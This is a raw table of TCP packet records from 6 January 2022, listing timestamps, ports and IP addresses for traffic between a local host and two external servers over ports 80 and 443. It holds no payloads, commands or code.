Jan 6, 2022 21:03:57.064142942 CET	80	49790	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:57.459589005 CET	80	49790	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:57.461306095 CET	49790	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:57.461615086 CET	49790	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:57.638537884 CET	80	49790	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:57.792996883 CET	49791	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:57.973321915 CET	80	49791	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:57.973783016 CET	49791	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:57.973890066 CET	49791	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:57.973898888 CET	49791	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:58.153538942 CET	80	49791	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:58.153589964 CET	80	49791	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:58.540747881 CET	80	49791	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:58.540767908 CET	80	49791	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:58.540836096 CET	49791	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:58.541379929 CET	49791	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:58.588926077 CET	49793	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:58.721107006 CET	80	49791	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:58.765196085 CET	80	49793	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:58.765284061 CET	49793	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:58.765418053 CET	49793	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:58.765446901 CET	49793	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:58.941548109 CET	80	49793	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:58.941570044 CET	80	49793	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:59.318780899 CET	80	49793	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:59.319267035 CET	49793	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:59.319490910 CET	49793	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:59.327897072 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.327949047 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.328048944 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.329094887 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.329128981 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.400893927 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.401005983 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.403184891 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.403214931 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.403512955 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.421796083 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.439184904 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.439338923 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.439943075 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.439987898 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.440006018 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.440021038 CET	49795	443	192.168.2.4	185.233.81.115
Jan 6, 2022 21:03:59.440027952 CET	443	49795	185.233.81.115	192.168.2.4
Jan 6, 2022 21:03:59.495628119 CET	80	49793	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:59.768433094 CET	49796	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:59.944317102 CET	80	49796	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:59.946049929 CET	49796	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:59.946167946 CET	49796	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:59.947973013 CET	49796	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:00.121886969 CET	80	49796	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:00.123589039 CET	80	49796	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:00.494330883 CET	80	49796	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:00.494442940 CET	49796	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:00.494604111 CET	49796	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:00.523504972 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:00.670300961 CET	80	49796	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:00.708549023 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:00.708830118 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:00.709511995 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:00.936734915 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250267029 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250329971 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250348091 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250360012 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250372887 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250397921 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.250415087 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250432014 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250441074 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.250463009 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250482082 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.250494003 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250509977 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.250554085 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.250557899 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.435710907 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.435761929 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.435803890 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.435843945 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.435880899 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.435898066 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.435910940 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.435950041 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.435990095 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436031103 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436072111 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436100960 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.436109066 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.436139107 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436177969 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436242104 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.436283112 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436322927 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436340094 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.436379910 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436418056 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436456919 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436501980 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436511993 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.436518908 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.436557055 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436594009 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436634064 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.436702013 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.436711073 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.621726990 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.621802092 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.621856928 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.621926069 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.621961117 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.621974945 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.621984005 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622010946 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622040033 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622080088 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622122049 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622132063 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622138977 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622174025 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622212887 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622252941 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622293949 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622320890 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622344017 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622364044 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622390032 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622417927 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622430086 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622458935 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622477055 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622503996 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622530937 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622556925 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622575045 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622608900 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622636080 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622662067 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622687101 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622700930 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622705936 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622730017 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622756004 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622781038 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622807026 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622818947 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622823954 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622849941 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622875929 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622903109 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622926950 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622932911 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.622952938 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622980118 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.622994900 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.623018980 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.623044014 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.623071909 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.623094082 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.623116016 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.623121023 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.623137951 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.623162031 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.623188972 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.623333931 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.623358965 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808213949 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808237076 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808254004 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808270931 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808288097 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808305025 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808324099 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808345079 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808362007 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808368921 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808372021 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808388948 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808407068 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808424950 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808440924 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808449984 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808453083 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808470011 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808486938 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808502913 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808522940 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808528900 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808531046 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808547974 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808564901 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808581114 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808598042 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808614016 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808623075 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808625937 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808643103 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808659077 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808680058 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808685064 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808687925 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808702946 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808720112 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808737040 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808753967 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808760881 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808763981 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808779955 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808796883 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808814049 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808834076 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808839083 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808840990 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808866978 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808881998 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808892012 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808907986 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808924913 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808940887 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808958054 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808974981 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.808983088 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.808985949 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.809000969 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809015989 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809031963 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.809035063 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.809043884 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809060097 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809077024 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809092999 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809109926 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809118032 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.809120893 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.809135914 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809153080 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.809200048 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.809443951 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994210958 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994261026 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994302034 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994339943 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994380951 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994400978 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994411945 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994448900 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994488001 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994528055 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994569063 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994585991 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994592905 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994632006 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994669914 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994709015 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994756937 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994770050 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994776964 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994817019 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994854927 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994900942 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.994960070 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.994966030 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995012045 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995049953 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995090008 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995127916 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995167017 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995182991 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995209932 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995249987 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995286942 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995311022 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995345116 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995383978 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995424032 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995460987 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995476961 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995485067 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995522976 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995562077 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995600939 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995631933 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995660067 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995697021 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995719910 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995755911 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995801926 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995831013 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995856047 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.995896101 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995934963 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.995975971 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996027946 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.996058941 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996112108 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.996143103 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996211052 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996248007 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996288061 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996334076 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996344090 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.996351004 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.996387959 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996424913 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996464014 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996507883 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.996519089 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.996526003 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:01.996562958 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:01.997467995 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.181721926 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.181771040 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.181811094 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.181852102 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.181890011 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.181930065 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.181971073 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.181991100 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182008982 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182018995 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182048082 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182086945 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182130098 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182171106 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182209015 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182225943 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182233095 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182249069 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182291031 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182329893 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182348967 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182368994 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182408094 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182421923 CET	49801	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:02.182449102 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182490110 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182549000 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182585955 CET	80	49801	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:02.182595015 CET	49801	80	192.168.2.4	198.11.172.78
